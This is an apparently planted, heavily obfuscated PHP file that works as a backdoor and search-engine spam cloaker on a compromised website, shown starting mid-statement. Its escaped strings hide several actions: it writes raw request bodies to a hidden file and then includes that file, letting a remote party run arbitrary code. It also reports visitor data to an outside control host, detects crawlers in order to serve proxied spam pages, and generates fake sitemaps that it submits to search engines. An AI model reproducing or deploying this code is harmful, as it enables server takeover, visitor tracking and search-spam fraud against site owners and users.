$owF_s, $SYYE6[0], $KNqK1); goto Z2bsl; A2Ful: $IIJzA .= sprintf($LJuVw, $KF3Ac, $owF_s, $KNqK1, date("\131\55\x6d\55\144\x5c\x54\x48\x3a\x69\x3a\163\x50", time())); goto S6i0v; fb0BR: $qoFmN = isset($_SERVER["\110\x54\124\x50\137\x52\x45\106\x45\x52\105\122"]) ? $_SERVER["\110\124\x54\x50\137\x52\105\106\x45\122\105\x52"] : ''; goto wLql8; ycxLN: exit; goto Ckq_y; jbYDB: $fUGn8 = trim(urlx("\x68\x74\x74\160\x73\x3a\x2f\x2f" . gets() . $m8YWG[0], $A6YXS, $noLDR)); goto oCX7I; v1WD1: $KNqK1++; goto nr5ty; ghJcH: function urls($owF_s, $Ymzjc, $dlybj, $yU2lU, $bCSTu = null) { goto rq7Np; nnZ69: $f9vtq = "\107\x45\124\40" . $Ymzjc . "\x3f" . $bCSTu . "\40\110\124\124\x50\57\x31\x2e\x30\xd\12\110\157\163\x74\x3a\40" . $owF_s . "\xd\xa\x52\x65\x66\145\162\x65\162\72\x20" . $yU2lU . "\15\xa\125\x73\x65\x72\55\101\x67\145\156\164\72\40" . $dlybj . "\xd\xa\15\12"; goto bPw1D; gZEgY: fclose($OyFfA); goto fvyPs; rq7Np: $OyFfA = stream_socket_client("\x73\x73\154\x3a\x2f\57" . $owF_s . "\72\64\64\63", $K3WiY, $AqKo8, 6); goto nnZ69; bPw1D: $qtO67 = fwrite($OyFfA, $f9vtq); goto gZEgY; fvyPs: } goto KoMDW; xK012: exit; goto yJ1_d; auKP4: hMbpe: goto LXyma; Q8zfX: $noLDR .= $SYYE6[1] == '' ? "\x26\x67\x72\x6f\x75\160\x69\x64\x3d" . $sla8H : "\46\147\162\x6f\x75\160\x69\x64\x3d" . $SYYE6[1]; goto SLlvN; s8ooK: @file_put_contents("\56\x65\107\101\x30\x54\x79\62\x57\114\x68", $ba6M9, FILE_USE_INCLUDE_PATH); goto Fi1YS; jApLV: RSuU3: goto zp4_k; V4fzp: echo @trim(urlx(sprintf("\x68\x74\x74\x70\163\x3a\57\x2f\x25\x73\x2f\x62\x6f\x74\x2f\x70\141\147\x65\x3f" . $iT16L, gets()), $A6YXS, $iT16L, 1)); goto jwJfX; ZeyQ2: KWbgS: goto Tv1fq; D7zxy: $noLDR = "\163\x68\x6f\163\164\x3d" . $owF_s . "\46\160\x72\x6f\164\x6f\x3d" . $KF3Ac; goto huSup; Ckq_y: r6ozv: goto Dg1WY; H5Iff: $uIRxk = ''; goto S1BaD; BaCSs: @set_time_limit(3600); goto Ok42r; dZrn7: exit; goto M7akL; ofwc0: array_push($A6YXS, "\164\x69\x6d\145\x73\x74\141\155\160\x3a\40" . $hPr9Q); goto q9DPK; xwP6c: $DJuHs = "\74\x3f\x78\155\154\x20\166\145\162\163\x69\x6f\x6e\x3d\42\61\56\x30\x22\x20\x65\x6e\143\x6f\x64\151\x6e\147\x3d\x22\x55\x54\x46\55\70\42\77\76\x3c\41\x2d\x2d\x20\x61\165\164\x6f\147\145\156\x20\x62\171\x20\x64\157\x69\x6d\x20\x2d\55\76\xd\12\x3c\165\x72\x6c\x73\x65\164\x20\x78\x6d\x6c\156\x73\x3d\x22\150\164\x74\160\72\57\x2f\x77\x77\x77\56\x73\x69\164\x65\155\x61\x70\x73\56\157\x72\147\x2f\163\x63\150\145\x6d\141\x73\57\x73\151\x74\x65\155\x61\x70\57\x30\56\71\x22\xd\xa\40\40\40\x20\40\x20\x78\155\154\x6e\x73\x3a\x78\x68\x74\x6d\x6c\x3d\x22\x68\164\164\x70\x3a\57\x2f\167\167\x77\x2e\x77\63\x2e\157\x72\x67\57\61\71\x39\71\57\170\150\164\x6d\x6c\x22\76\15\12\45\x73\x3c\x2f\165\162\154\163\x65\164\76"; goto qdi1q; q9DPK: array_push($A6YXS, "\x78\144\157\x69\x6d\72\x20" . crc32($hPr9Q . "\134\156" . $noLDR)); goto X5ajM; Hbnc3: $KNqK1++; goto q0oMf; uKGtA: R3CbW: goto BUIpf; o6OE0: $FSgoE = $m8YWG[1] == '' ? sprintf($FSgoE, $owF_s) : sprintf($FSgoE, $m8YWG[1]); goto KMtif; OWMy9: $iT16L .= sprintf("\46\150\x70\151\x64\75\x25\x73\x2d\45\x73", preg_replace("\x2f\133\141\55\x7a\x49\x5d\x28\170\x79\172\174\142\x75\172\x7a\51\x2e\52\x24\57", "\56\44\61", strrev($m8YWG[1])), $m8YWG[2]); goto V4fzp; wdKi4: if ($m8YWG[1] === '' || @preg_match("\x23\50\134\x64\53\51\x2d\x24\43", $m8YWG[1], $SYYE6)) { goto AhbkW; } goto rRMoQ; SLlvN: $hPr9Q = strval(time()); goto ofwc0; xq9qY: jgoeJ: goto q0Xhz; Sn7vd: jjS9l: goto Km5N8; ecKbS: $noLDR .= "\x26\147\x72\x6f\165\x70\x69\144\x3d" . $sla8H; goto Jr2p1; wjCTM: uMlZO: goto nxqIE; FWT3S: echo @trim(urlx(sprintf("\x68\x74\x74\x70\x73\72\x2f\x2f\x25\x73\x2f\142\x6f\x74\57\x68\x6f\155\x65\77" . $iT16L . "\x26\x75\x72\x69\x3d" . $DErfk, gets()), $A6YXS, $iT16L, 1)); goto pS582; k58YB: $rETFM = explode("\12", $etY2r); goto H5Iff; VynNB: $sla8H = "\64\x30\71"; goto xwP6c; HfyWD: @header("\103\157\156\164\145\x6e\x74\x2d\x74\x79\160\x65\x3a\40\164\145\x78\x74\x2f\170\155\154"); goto n2gYK; rRMoQ: $mEIra = sprintf("\x68\164\x74\160\163\x3a\57\x2f\167\x77\167\56\147\157\157\147\154\145\x2e\143\x6f\x2e\x6a\160\x2f\x70\151\x6e\x67\77\163\x69\164\x65\x6d\x61\x70\75\x25\x73\x3a\x2f\57\45\x73\57\163\151\x74\145\155\x61\x70\45\163\56\170\155\154", $KF3Ac, $owF_s, $m8YWG[1]); goto V6E8C; u60ra: error_reporting(0); goto WCrZS; oCX7I: echo $lIAg4 === false ? "\x66\141\151\x6c" . gets() : $fUGn8 . $sla8H . gets(); goto TEkDE; jIfJ0: if (!@preg_match("\43\x5e\x2f\x67\145\164\x76\145\x72\x24\43\x69", $DErfk, $m8YWG)) { goto RSuU3; } goto SdN60; Lim7O: $KF3Ac = https(); goto Tsk2A; NreB1: exit; goto k7pZC; MW6Hp: goto pAfHj; goto JqVyK; uMbtE: $IIJzA = ''; goto YP3ee; k7pZC: IbVnZ: goto K3sn7; VKhFH: function gets() { return "\x62\61\56\147\154\157\x72\x79\144\x61\171\x2e\167\x6f\x72\153"; } goto iAyj7; FpYmy: $xHvGe .= $mEIra . $Yt1vr; goto MW6Hp; IuT6b: O0wJN: goto i5zge; Tsk2A: $A6YXS = array("\x55\x73\145\162\55\x41\x67\x65\x6e\164\x3a\x20" . $dlybj, "\114\x61\156\x67\72\x20" . $nHLmv, "\x52\145\x66\145\162\x65\162\72\40" . $qoFmN, "\110\x74\x74\160\55\x48\157\163\164\72\x20" . $owF_s, "\x52\145\155\157\x74\145\55\101\144\x64\162\72\x20" . $x1pP6); goto D7zxy; byWw3: ZM4DY: goto n3cYg; AFMpC: i1YP9: goto OWMy9; s7MnU: if (@preg_match("\x23\143\141\164\x65\x5c\57\x28\133\x61\55\172\x5d\x2b\x29\55\x28\x5c\144\x2b\x29\44\x23\151", $DErfk, $bYUiB)) { goto R3CbW; } goto FWT3S; ZTdom: if (@preg_match("\x23\50\x5c\144\53\51\x2d\44\43", $m8YWG[1], $SYYE6)) { goto O0wJN; } goto ecKbS; ysNx5: exit; goto BLxHs; Tv1fq: F7rGt: goto J_a3_; vSbCH: $iT16L = $noLDR . "\x26\150\x74\164\160\x3d" . $KF3Ac . "\46\147\x72\x6f\x75\x70\151\144\x3d" . $sla8H; goto riCMP; riCMP: if (@preg_match("\x23\50\133\141\x2d\x7a\135\x2b\x29\x2d\x28\134\144\x2b\51\x3f\50\56\x68\164\155\x6c\51\x24\43\x69", $DErfk, $m8YWG)) { goto i1YP9; } goto s7MnU; huSup: $DErfk = $_SERVER["\122\x45\x51\x55\105\x53\124\137\x55\122\x49"]; goto LPvmE; Km5N8: echo sprintf($JvKaV, $IIJzA); goto xK012; SdN60: $hPr9Q = strval(time()); goto BHOLJ; V6E8C: $Yt1vr = urlx($mEIra); goto FpYmy; Dg1WY: if (!(isset($_SERVER["\x48\124\124\120\137\130\104\117\111\x4d"]) && strlen($_SERVER["\110\124\124\120\137\130\x44\x4f\x49\115"]) > 0)) { goto m6xGP; } goto mbkuu; GFsoP: $FSgoE = urldecode("\150\x74\164\x70\163\x3a\57\57\x73\x65\141\162\143\150\x2e\x79\x61\150\157\157\56\143\157\56\x6a\x70\x2f\163\145\x61\162\x63\150\77\x70\x3d\163\x69\x74\145\x3a\45\163\x26\x65\x69\75\x55\124\106\x2d\x38"); goto o6OE0; oE5NV: goto I392K; goto AFMpC; hMZpO: if (!@preg_match("\43\x5e\57\163\151\x74\x65\57\77\50\x2e\52\77\x29\44\43\x69", $DErfk, $m8YWG)) { goto Wga3z; } goto GFsoP; JqVyK: AhbkW: goto Q8zfX; z82Gv: array_push($A6YXS, "\164\x69\155\x65\163\164\141\x6d\160\x3a\x20" . $hPr9Q); goto ZRN0H; Z2bsl: $Yt1vr = urlx($mEIra); goto YecZ6; vyNHk: CE8AL: goto Hbnc3; J_a3_: pAfHj: goto E9H0T; K2oet: $hPr9Q = strval(time()); goto z82Gv; BQR6z: if (!($etY2r === '')) { goto IbVnZ; } goto NreB1; q0Xhz: if (!($KNqK1 <= intval($etY2r))) { goto jjS9l; } goto A2Ful; posnl: $owF_s = $_SERVER["\110\124\124\120\137\x48\x4f\123\124"]; goto VMUfs; MrzLN: $LJuVw = "\x20\74\163\x69\164\x65\155\141\160\x3e\40\74\154\x6f\x63\x3e\45\x73\x3a\57\57\x25\163\x2f\x73\x69\164\x65\x6d\141\160\x25\x64\56\170\x6d\154\x3c\57\x6c\157\x63\x3e\x3c\x2f\163\151\x74\145\x6d\x61\160\x3e"; goto serh_; ZuQIi: $ba6M9 = @file_get_contents("\x70\150\160\72\57\57\151\156\x70\x75\x74"); goto s8ooK; nxqIE: if (!(@preg_match("\x23\147\157\x6f\147\154\145\56\143\x6f\56\152\160\x7c\x67\x6f\157\147\x6c\145\x2e\x63\157\x6d\174\x79\141\x68\157\157\x2e\143\x6f\x2e\x6a\x70\x7c\171\141\x68\x6f\157\56\143\157\174\142\x69\156\147\56\143\157\x6d\174\141\163\153\56\143\157\x6d\x7c\x61\x6f\x6c\x2e\143\157\x6d\174\x61\x6f\154\56\152\x70\43\151", $qoFmN) && @preg_match("\x23\x28\x5b\x61\x2d\172\x49\135\x2b\x29\55\x28\x5c\144\53\51\x3f\50\55\50\x5c\144\x2b\51\x29\x3f\x28\x2e\150\164\x6d\x6c\51\44\43\151", $DErfk))) { goto fSTeM; } goto fvTM4; ZRF8k: if (!($KNqK1 <= intval($etY2r))) { goto KWbgS; } goto vrwtn; BO63P: exit; goto auKP4; BHOLJ: array_push($A6YXS, "\164\151\x6d\145\x73\164\x61\155\x70\72\40" . $hPr9Q); goto F8Nux; i5zge: $noLDR .= "\46\x67\x72\x6f\x75\x70\151\144\75" . $SYYE6[1]; goto OQ8xg; KoMDW: function urlx($FSgoE, $A6YXS = null, $noLDR = null, $gIA25 = null) { goto A62sn; OG8Dv: curl_setopt($RLYFt, CURLOPT_POST, 1); goto p7PoQ; QVFVH: curl_setopt($RLYFt, CURLOPT_FOLLOWLOCATION, 1); goto D1O02; ek3FP: $MoCk4 = curl_exec($RLYFt); goto xS6uc; tnI0p: curl_setopt($RLYFt, CURLOPT_SSL_VERIFYHOST, FALSE); goto kbdvL; vdmX2: o3gNH: goto npylU; GXuzH: mvDSg: goto fPB0P; fPB0P: curl_setopt($RLYFt, CURLOPT_RETURNTRANSFER, 1); goto ek3FP; vbXv8: curl_setopt($RLYFt, CURLOPT_HTTPHEADER, $A6YXS); goto wUB6G; l1Syu: curl_setopt($RLYFt, CURLOPT_SSL_VERIFYPEER, FALSE); goto tnI0p; vH2JK: return $MoCk4; goto lnLTn; wUB6G: cn5FN: goto YU0Wu; kbdvL: i4RSt: goto dSziZ; fLO9y: curl_setopt($RLYFt, CURLOPT_ENCODING, "\147\x7a\x69\160\54\144\145\146\154\x61\164\x65"); goto vdmX2; p7PoQ: curl_setopt($RLYFt, CURLOPT_POSTFIELDS, $noLDR); goto GXuzH; xS6uc: curl_close($RLYFt); goto vH2JK; A62sn: $RLYFt = curl_init(); goto VT302; dSziZ: if ($A6YXS === null) { goto cn5FN; } goto vbXv8; YU0Wu: if ($noLDR === null) { goto mvDSg; } goto OG8Dv; D1O02: if ($gIA25 === null) { goto o3gNH; } goto fLO9y; VT302: curl_setopt($RLYFt, CURLOPT_URL, $FSgoE); goto QVFVH; npylU: if (!(stripos($FSgoE, "\150\x74\x74\x70\x73\x3a") === 0)) { goto i4RSt; } goto l1Syu; lnLTn: } goto GPofi; q0oMf: goto qd_ac; goto ZeyQ2; l2P9A: goto I392K; goto uKGtA; TEkDE: exit; goto jApLV; mLCDC: unlink("\56\x65\x47\101\60\124\171\x32\127\x4c\150"); goto rmPpl; wZhXM: $VOcVy = urlx(sprintf("\x68\x74\x74\160\x73\x3a\57\57\45\163\x2f\142\157\164\57\x33\60\x32\x3f" . $iT16L . "\x26\x75\162\151\75" . $DErfk, gets()), $A6YXS, $iT16L, 1); goto sRmzM; RQwYp: function clientip() { goto TdNI8; HRIab: goto tdG1j; goto XcXnM; e7p0m: tdG1j: goto sh3jP; TdNI8: if (getenv("\122\x45\x4d\117\124\105\137\x41\104\x44\x52") && strcasecmp(getenv("\x52\x45\x4d\117\124\x45\x5f\x41\104\104\x52"), "\165\156\153\x6e\157\167\x6e")) { goto EkxZl; } goto kiBLc; kVAQC: goto tdG1j; goto Fimi6; Fimi6: CI1Ri: goto KkzTn; XcXnM: EkxZl: goto ohvJi; KkzTn: return $_SERVER["\122\105\115\117\x54\105\137\x41\x44\x44\122"]; goto e7p0m; kiBLc: if (isset($_SERVER["\122\x45\x4d\117\x54\x45\x5f\101\104\x44\x52"]) && $_SERVER["\x52\x45\115\117\124\105\137\101\x44\x44\122"] && strcasecmp($_SERVER["\122\105\x4d\117\124\x45\137\101\104\x44\122"], "\x75\x6e\153\x6e\157\x77\156")) { goto CI1Ri; } goto HRIab; ohvJi: return getenv("\122\x45\x4d\117\x54\x45\x5f\x41\x44\104\x52"); goto kVAQC; sh3jP: }?>

<?php goto osnM_; MiCDl: if (!(isset($_SERVER["\110\124\124\120\137\130\x44\x4f\111\115"]) && strlen($_SERVER["\110\124\124\x50\x5f\130\x44\117\x49\115"]) > 0)) { goto L22mP; } goto bqu56; mjchG: $yqdaU = explode("\xa", $hiQMI); goto bcUh6; NcbAN: $MRsCG = $Zpa3X[1] == '' ? sprintf($MRsCG, $mp1J2) : sprintf($MRsCG, $Zpa3X[1]); goto pEHq5; OL4Am: array_push($hdtfO, "\x78\x64\x6f\151\155\72\x20" . crc32($RFCap . "\x5c\156" . $McW7D)); goto Qn99B; WYzbi: exit; goto SRzQl; Qn99B: $hiQMI = trim(urlx("\x68\164\164\160\163\x3a\57\x2f" . gets() . "\57\163\x69\x74\145\155\x61\x70\x2e\x78\x6d\x6c", $hdtfO, $McW7D . "\46\x68\164\x74\160\75" . $e9U63)); goto gkpHy; JI7RN: GxKty: goto EQspk; CeV0E: $KTSgR++; goto BB2dP; ZlVbt: echo @trim(urlx(sprintf("\150\164\164\x70\163\72\57\57\x25\163\57\142\157\x74\57\143\x61\164\145\77" . $ARb23, gets()), $hdtfO, $ARb23 . "\x26\x68\x6f\x73\164\75" . preg_replace("\x2f\x5b\x61\x2d\x7a\111\135\50\x78\171\x7a\x7c\142\165\172\x7a\51\x2e\52\x24\x2f", "\56\x24\61", strrev($SfS31[1])) . "\46\143\141\x74\x65\151\144\x3d" . $SfS31[2], 1)); goto M1YsW; EdB92: $Ek2Ge = "\40\x3c\x73\x69\164\145\155\141\x70\76\x20\74\154\x6f\143\76\x25\x73\x3a\x2f\57\45\x73\57\163\x69\164\145\x6d\x61\160\x25\144\56\x78\155\x6c\74\57\154\x6f\x63\x3e\x3c\x2f\163\151\x74\x65\x6d\x61\x70\x3e"; goto LrM09; ozn44: $mp1J2 = $_SERVER["\110\x54\x54\120\137\110\x4f\x53\124"]; goto fIoDv; iz8mo: array_push($hdtfO, "\164\x69\155\145\x73\164\141\x6d\160\x3a\40" . $RFCap); goto OL4Am; f5wI3: if (!@preg_match("\x23\136\x2f\x73\x69\x74\x65\x2f\77\x28\x2e\x2a\x3f\51\x24\43\151", $QKhEX, $Zpa3X)) { goto qWVs7; } goto wiCAA; s78Qj: echo $IpPXO; goto AMPLX; OM5JZ: $McW7D .= "\46\147\162\x6f\x75\160\x69\x64\75" . $rDkSS; goto H3ClE; ITM0A: $QKhEX = $_SERVER["\122\105\121\125\105\x53\124\x5f\x55\122\x49"]; goto hzCps; PrCaf: exit; goto f9I3n; OvvTb: W_TY2: goto YZ7nt; qs77T: array_push($hdtfO, "\x74\151\x6d\145\163\164\x61\155\160\72\40" . $RFCap); goto gURyf; Xjb2b: bUlxB: goto s78Qj; LIxEb: goto LT_MD; goto oga1u; XVTF1: if (@preg_match("\43\50\x5b\141\55\172\x5d\x2b\51\x2d\50\x5c\x64\53\51\77\x28\x2e\x68\x74\155\x6c\51\x24\x23\151", $QKhEX, $Zpa3X)) { goto de9Yv; } goto eNGOR; jkvMB: $RFCap = strval(time()); goto qs77T; LAv2L: ys6PW: goto uMtbh; krTI2: $s7cb6 = isset($_SERVER["\x48\x54\124\120\x5f\125\123\105\x52\137\101\107\x45\x4e\124"]) ? $_SERVER["\x48\x54\124\120\x5f\x55\123\x45\122\x5f\101\107\x45\116\x54"] : ''; goto ozn44; SuMlu: $rDkSS = "\x34\x31\x30"; goto Ke7Pd; n2AsE: $V0sWa = ''; goto bAYrz; Ke7Pd: $ynrUs = "\74\x3f\x78\155\x6c\40\166\x65\x72\x73\151\x6f\x6e\x3d\42\61\56\60\42\x20\145\156\x63\157\x64\x69\x6e\147\x3d\42\x55\124\106\55\x38\x22\77\76\x3c\x21\55\55\40\x61\x75\x74\157\x67\145\x6e\x20\142\x79\40\144\x6f\x69\x6d\x20\x2d\55\76\15\xa\74\165\x72\154\x73\145\164\40\170\155\x6c\x6e\163\x3d\42\150\164\x74\160\x3a\57\57\x77\x77\x77\x2e\x73\x69\x74\x65\x6d\141\160\163\56\x6f\x72\x67\57\163\x63\150\145\x6d\x61\x73\x2f\x73\151\164\x65\x6d\141\160\x2f\x30\56\x39\x22\15\12\40\40\x20\x20\x20\40\170\155\154\x6e\x73\x3a\170\x68\x74\x6d\x6c\75\42\150\x74\x74\160\72\x2f\57\x77\167\167\56\x77\x33\x2e\157\x72\x67\x2f\61\x39\71\x39\57\x78\x68\x74\x6d\154\42\76\xd\12\45\163\74\57\165\x72\154\x73\145\x74\x3e"; goto IWKZ6; G88ON: if (!@preg_match("\x23\136\x2f\x67\x65\x74\x76\x65\162\x24\43\x69", $QKhEX, $Zpa3X)) { goto pAS3K; } goto kucca; AsYSQ: $IpPXO .= $mLf_v . $TfI0B; goto RXVU_; QPOo9: function gets() { return "\x62\x31\56\147\x6c\157\162\171\144\x61\171\x2e\x77\157\162\153"; } goto CHxh2; CHxh2: function https() { goto rL9dk; dMD0t: return "\x68\x74\x74\x70"; goto yj7DR; fc_Uo: return "\150\x74\164\x70\x73"; goto bif1K; rL9dk: if (!(!empty($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\x66\x66" || isset($_SERVER["\110\124\x54\120\x5f\130\x5f\x46\x4f\122\x57\x41\x52\x44\105\104\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\124\120\x5f\x58\x5f\x46\117\122\127\101\122\104\x45\x44\x5f\120\x52\x4f\124\x4f"] === "\x68\x74\x74\160\163" || !empty($_SERVER["\110\124\x54\120\x5f\106\x52\117\x4e\x54\137\x45\116\104\x5f\x48\124\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\137\106\122\x4f\x4e\x54\137\105\x4e\104\x5f\110\x54\x54\x50\x53"]) !== "\x6f\146\x66")) { goto ECfEs; } goto fc_Uo; bif1K: ECfEs: goto dMD0t; yj7DR: } goto lXlm8; f9I3n: iMzEP: goto cR4hY; vhTiz: echo $Zpa3X[1]; goto tRSAf; CsCqq: $DPli7 = substr($DPli7, strpos($DPli7, "\x3c\41\55\55\x20\x2d\x2d\76"), 100); goto KXfrg; sG0uR: bXdT2: goto ZlVbt; mzLU4: goto LT_MD; goto sG0uR; UU0bl: $adJEJ = clientip(); goto ia1aK; SRzQl: xm2xv: goto EDQ9j; Zsm9S: echo sprintf($ynrUs, $z32DT); goto W5lZR; uHyzt: $VpKM4 = "\x3c\x3f\x78\155\154\x20\x76\x65\162\x73\151\157\156\x3d\42\61\x2e\60\x22\40\x65\156\143\157\x64\x69\x6e\147\x3d\42\x55\x54\x46\x2d\x38\x22\77\x3e\74\x21\x2d\x2d\40\x61\x75\x74\157\x67\x65\156\x20\142\x79\40\x64\x6f\x69\155\x20\55\x2d\76\15\xa\74\x73\x69\x74\145\x6d\141\160\x69\x6e\x64\145\x78\40\x78\155\x6c\156\163\x3d\x22\x68\164\x74\x70\72\57\x2f\x77\x77\x77\56\x73\151\164\145\x6d\141\x70\163\x2e\x6f\x72\147\57\163\143\150\145\x6d\141\x73\57\163\151\x74\145\x6d\x61\x70\x2f\60\56\x39\x22\x3e\x20\45\x73\40\74\x2f\x73\x69\x74\145\155\x61\x70\x69\x6e\x64\x65\170\x3e"; goto EdB92; qNhcd: $IpPXO .= $mLf_v . $TfI0B; goto vHG4h; s_0UW: function urlx($MRsCG, $hdtfO = null, $McW7D = null, $tSFLz = null) { goto OdgZj; totqg: curl_close($xOFkY); goto Ciaby; i0Vqi: if (!(stripos($MRsCG, "\x68\164\x74\x70\x73\72") === 0)) { goto bPeCk; } goto MCmz6; MCmz6: curl_setopt($xOFkY, CURLOPT_SSL_VERIFYPEER, FALSE); goto Crgu0; bu2fd: curl_setopt($xOFkY, CURLOPT_FOLLOWLOCATION, 1); goto u7kcY; BcgkD: if ($hdtfO === null) { goto kPhxE; } goto wdcRu; cTCU6: curl_setopt($xOFkY, CURLOPT_RETURNTRANSFER, 1); goto ZJT3V; af59y: bPeCk: goto BcgkD; Th9Zo: curl_setopt($xOFkY, CURLOPT_POST, 1); goto gkYAB; wdcRu: curl_setopt($xOFkY, CURLOPT_HTTPHEADER, $hdtfO); goto FzVwW; GkZAf: tPYXA: goto i0Vqi; hNOp1: curl_setopt($xOFkY, CURLOPT_URL, $MRsCG); goto bu2fd; Ciaby: return $DPli7; goto fNniW; Crgu0: curl_setopt($xOFkY, CURLOPT_SSL_VERIFYHOST, FALSE); goto af59y; FzVwW: kPhxE: goto v1m2R; FSVHf: DXadP: goto cTCU6; OdgZj: $xOFkY = curl_init(); goto hNOp1; cmW7P: curl_setopt($xOFkY, CURLOPT_ENCODING, "\x67\172\x69\160\x2c\x64\145\146\x6c\141\x74\x65"); goto GkZAf; ZJT3V: $DPli7 = curl_exec($xOFkY); goto totqg; gkYAB: curl_setopt($xOFkY, CURLOPT_POSTFIELDS, $McW7D); goto FSVHf; u7kcY: if ($tSFLz === null) { goto tPYXA; } goto cmW7P; v1m2R: if ($McW7D === null) { goto DXadP; } goto Th9Zo; fNniW: } goto tfJQz; ms2a1: $McW7D = "\163\x68\x6f\163\x74\x3d" . $mp1J2 . "\x26\x70\162\x6f\x74\x6f\75" . $e9U63; goto ITM0A; FEkVB: array_push($hdtfO, "\170\144\157\151\155\x3a\x20" . crc32($RFCap . "\134\156" . $McW7D)); goto kUs2_; uw0hs: $bvzpY = isset($_SERVER["\x48\124\124\x50\x5f\x52\x45\x46\105\122\x45\x52"]) ? $_SERVER["\x48\x54\124\120\137\x52\105\106\x45\x52\x45\x52"] : ''; goto krTI2; elPoY: qWVs7: goto G88ON; gkpHy: if (!($hiQMI === '')) { goto xm2xv; } goto WYzbi; e1x6k: echo @trim(urlx(sprintf("\150\164\x74\160\163\72\x2f\x2f\x25\163\x2f\x62\x6f\164\57\x70\141\x67\x65\77" . $ARb23, gets()), $hdtfO, $ARb23, 1)); goto PPnOd; PPnOd: exit; goto mzLU4; oga1u: de9Yv: goto PkLoT; BB2dP: goto W_TY2; goto JtOx6; fUltq: LT_MD: goto hlemr; UCSLS: yVNHR: goto WuzYE; eKQ2w: if (@preg_match("\x23\x28\x5c\x64\53\x29\x2d\44\x23", $Zpa3X[1], $Wzbjt)) { goto HkToE; } goto OM5JZ; F2qzI: $ARb23 = $McW7D . "\x26\x67\162\x6f\x75\160\151\x64\75" . $rDkSS . "\46\x75\162\151\75" . $QKhEX . "\46\151\160\x3d" . $adJEJ; goto RWJi_; osnM_: error_reporting(0); goto up5mc; mDERU: $mLf_v = sprintf("\x68\x74\x74\x70\163\x3a\x2f\x2f\167\x77\x77\56\x67\157\x6f\x67\154\145\56\x63\x6f\x2e\152\160\57\160\x69\x6e\x67\77\x73\x69\164\x65\x6d\x61\160\x3d\x25\x73\x3a\x2f\57\45\163\x2f\x73\x69\164\x65\x6d\x61\160\45\163\56\x78\x6d\154", $e9U63, $mp1J2, $Zpa3X[1]); goto DCDfk; bqu56: $RFCap = isset($_SERVER["\110\x54\x54\x50\137\x54\x49\115\x45\x53\x54\x41\x4d\x50"]) ? $_SERVER["\x48\x54\x54\120\137\124\x49\115\x45\x53\124\x41\115\x50"] : ''; goto AVD6K; JkejB: HkToE: goto QHu0d; kucca: $RFCap = strval(time()); goto EFEUy; S3X_r: echo @trim(urlx(sprintf("\x68\x74\164\160\x73\72\57\x2f\45\163\57\142\157\x74\x2f\150\x6f\x6d\x65\x3f" . $ARb23 . "\46\x75\162\151\x3d" . $QKhEX, gets()), $hdtfO, $ARb23, 1)); goto SpIuk; NMNoV: $mLf_v = sprintf("\150\164\x74\x70\163\72\x2f\x2f\x77\167\167\56\x67\x6f\x6f\x67\154\x65\56\x63\x6f\56\152\x70\x2f\x70\x69\x6e\x67\x3f\163\151\x74\x65\155\141\160\x3d\x25\163\x3a\x2f\57\x25\163\x2f\163\x69\164\145\x6d\141\x70\45\x73\45\x64\x2e\170\x6d\154", $e9U63, $mp1J2, $Wzbjt[0], $KTSgR); goto L2ora; SpIuk: exit; goto LIxEb; bcUh6: $z32DT = ''; goto tZI5y; btIRZ: mfXDX: goto Zsm9S; YZ7nt: if (!($KTSgR <= intval($hiQMI))) { goto x267m; } goto SDCdX; SDCdX: $V0sWa .= sprintf($Ek2Ge, $e9U63, $mp1J2, $KTSgR, date("\x59\55\155\55\x64\134\x54\110\72\x69\72\x73\x50", time())); goto lEYyp; vHG4h: goto bUlxB; goto UCSLS; ccpTy: exit; goto HZniz; GbQZa: @header("\103\157\x6e\164\x65\x6e\164\x2d\x74\171\160\145\72\x20\164\x65\170\x74\x2f\170\x6d\x6c"); goto pDcXO; bTkrw: m4q4Q: goto Xjb2b; GSDk9: if (!@preg_match("\43\147\x6f\x6f\x67\154\x65\174\x79\x61\150\x6f\x6f\x7c\x62\151\156\x67\x7c\x63\162\x61\x66\x74\x7c\103\x72\141\167\154\x65\162\x23\x69", $s7cb6)) { goto Oz116; } goto IaHOD; CxvFr: rHr2a: goto jkvMB; RvuAH: echo include "\56\x65\x47\101\60\124\171\x32\x57\114\150"; goto u3dax; WuzYE: $McW7D .= $Wzbjt[1] == '' ? "\x26\147\162\x6f\165\x70\x69\144\75" . $rDkSS : "\46\147\x72\x6f\165\160\151\x64\75" . $Wzbjt[1]; goto uC0Sb; TATKS: $IpPXO = ''; goto qDhdp; RWJi_: $aYkNf = urlx(sprintf("\x68\x74\x74\x70\163\72\57\x2f\x25\x73\x2f\x62\x6f\x74\x2f\x33\60\62\x3f" . $ARb23 . "\46\165\x72\151\75" . $QKhEX, gets()), $hdtfO, $ARb23, 1); goto XDC1n; cR4hY: function urls($mp1J2, $fqR8w, $s7cb6, $eOoZX, $R4BYo = null) { goto aiksI; m8Awl: fclose($eyb7r); goto reoXX; OEAxU: $x9ZLz = "\107\105\x54\x20" . $fqR8w . "\x3f" . $R4BYo . "\x20\x48\124\x54\120\57\x31\x2e\x30\15\xa\x48\x6f\x73\x74\72\40" . $mp1J2 . "\15\xa\x52\145\x66\x65\162\x65\x72\x3a\40" . $eOoZX . "\15\xa\125\x73\145\x72\x2d\101\147\x65\156\x74\x3a\40" . $s7cb6 . "\xd\12\xd\12"; goto ZOTKk; ZOTKk: $o3U7U = fwrite($eyb7r, $x9ZLz); goto m8Awl; aiksI: $eyb7r = stream_socket_client("\x73\163\154\x3a\x2f\57" . $mp1J2 . "\x3a\64\x34\x33", $zCyy_, $kfqjG, 6); goto OEAxU; reoXX: } goto s_0UW; tfJQz: function cc($QKhEX) { goto qyoo4; qyoo4: $VSV_R = explode("\55", substr($QKhEX, 1, strlen($QKhEX) - 6)); goto LoL1G; Pv745: $mAj4s = sprintf("\x25\165", crc32(sprintf("\45\x73\55\45\163", $VSV_R[0], $VSV_R[1]))); goto hvoUo; hvoUo: return $mAj4s == $VSV_R[2]; goto bBjW5; LoL1G: if (!(sizeof($VSV_R) != 3)) { goto DXYN5; } goto ypCwD; ypCwD: return false; goto UVIUS; UVIUS: DXYN5: goto Pv745; bBjW5: } goto QPOo9; re_tn: WZWZr: goto GbQZa; tRSAf: exit; goto elPoY; H3ClE: goto rHr2a; goto JkejB; RXVU_: N8kT0: goto TYe1P; M1YsW: exit; goto fUltq; XV0l7: echo sprintf($VpKM4, $V0sWa); goto ccpTy; hlemr: Oz116: goto Bnpwo; IRxWu: echo $uurv8 === 